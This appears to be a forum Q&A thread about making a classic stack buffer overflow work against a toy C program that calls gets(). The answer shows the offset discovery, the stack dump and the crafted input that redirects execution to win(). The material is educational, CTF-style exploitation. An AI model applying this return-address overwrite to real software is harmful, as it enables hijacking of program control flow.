So I'm trying to perform a stack-based buffer overflow on this code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("well done!");
}
void vulnfunc(){
char buffer[36];
gets(buffer);
printf("Buffer contents are %s\n",buffer);
}
int main(int argc,char**argv){
vulnfunc();
}
So I overwrote the EIP with 44 bytes (the buffer's 36 and an extra 8 bytes). Then I got the address of the function win, changed it from 0x53e58955
into its appropriate like so
\x55\x89\xe5\x53
When I concatenate the two strings together as input it still doesn't call the win()
function. I've tried adding "BBBB"
as padding to fill ebp but no luck there either. If anyone could give some advice I would really appreciate it.
It's running on Ubuntu, x86_64
I reproduced the exploit on Windows. Since the system and the console might be different I'll explain the procedure than the raw code. For this reason it won't be a copy-and-paste solution, but a copy-the-procedure-to-get-a-similar-result solution.
First of all, I wanted to find out the stack structure. So I executed the following modified vulnfunc()
:
void vulnfunc(){
char buffer[36];
printf("win(): 0x%p\n", win);
printf("vulnfunc(): 0x%p\n", vulnfunc);
printf("main(): 0x%p\n", main);
printf("printf(): 0x%p\n", printf);
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[36]), (int) *((int*)&buffer[40]),
(int) *((int*)&buffer[44]), (int) *((int*)&buffer[48]));
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[52]), (int) *((int*)&buffer[56]),
(int) *((int*)&buffer[60]), (int) *((int*)&buffer[64]) );
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[68]), (int) *((int*)&buffer[72]),
(int) *((int*)&buffer[76]), (int) *((int*)&buffer[80]) );
gets(buffer);
}
As you can see, I printed the win()
address together with all the other relevant functions, including main
and printf
as well. Then, I printed a relevant portion of the stack (48 bytes) after the buffer array
.
I got the following output:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
The addresses of the functions are useful because what I need is a return address within main()
(address 0x00000000004016D9
). The candidate is of course 004016F2
.
So, what I need is to insert enough characters through gets()
in order to reach the desired address. We need exactly to insert 24 characters, being those from byte 21 to byte 24 beyond the end of buffer
array the ones containing the address. The value of the 20 bytes preceeding them are not important, so I insert random ASCII characters.
The result is the expected one:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0§@
Buffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@
well done!
<crash>
Please note how:
"123456789012345678901234567890123456"
are the 36 characters occupying the "legal" area of the array"AAAABBBBCCCCDDDDEEEE"
are 20 "padding" characters, just to reach the desired location of the stack0§@
(0x30
, 0x15
and 0x40
) and the string terminator filled by gets()
provides the missing 0x00
As expected the win()
function is executed; after it a crash occurs because after returning from it the stack didn't contain the correct return address on main()
(it is corrupted).
On Ubuntu you'll probably have a different stack configuration, but in a very similar way you can discover how to perform the desired exploit.